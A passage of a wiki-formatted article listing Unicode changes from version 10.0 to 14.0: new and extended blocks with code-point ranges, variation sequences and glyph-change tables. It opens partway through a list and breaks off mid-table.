* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
